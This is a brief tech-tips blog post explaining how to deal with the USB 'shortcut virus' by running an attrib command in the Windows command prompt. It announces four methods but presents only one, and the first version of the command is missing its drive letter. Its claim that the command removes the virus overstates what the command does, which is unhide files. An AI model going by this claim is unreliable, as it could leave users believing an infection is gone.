Remove shortcut virus from USB drives & PC

How to Remove Shortcut Virus from USB Drives & PC

Today I am going to share four simple tricks to remove the shortcut virus from your computer or Pen drive automatically. You can remove Shortvirus by using your command prompt or by installing a software.

#1 Method: Using CMD To Remove Shortcut Virus

Step 1. To remove your shortcut virus with the help of your command prompt system, you need to follow the steps ahead.

Step 2. Open Command Prompt by pressing Windows + R and Enter “CMD” in the box and hit enter.

Step 3. Now enter the following in your Command Prompt “attrib :*.* /d /s -h -r -s” without quotes ‘Your USB drive letter‘ must be replaced with your own drive letter. Suppose your flash drive is on Drive F so you must imply the following command “attrib f:*.* /d /s -h -r -s” without quotes and hit enter.

Step 4. Now wait for some time until CMD finishes the command, once it’s completed successfully the shortcut virus will be removed from your PC.

If you are facing any issue at any of the mentioned methods, feel free to ask us in the comments below.
